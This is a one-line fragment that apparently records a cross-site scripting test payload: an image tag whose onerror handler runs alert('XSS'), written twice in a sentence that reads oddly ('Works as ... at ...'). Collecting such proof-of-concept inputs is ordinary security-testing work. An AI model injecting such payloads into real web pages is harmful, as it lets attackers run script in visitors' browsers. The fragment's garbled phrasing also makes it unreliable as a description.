Works as <img src='1'onerror=alert('XSS')> at <img src='1'onerror=alert('XSS')>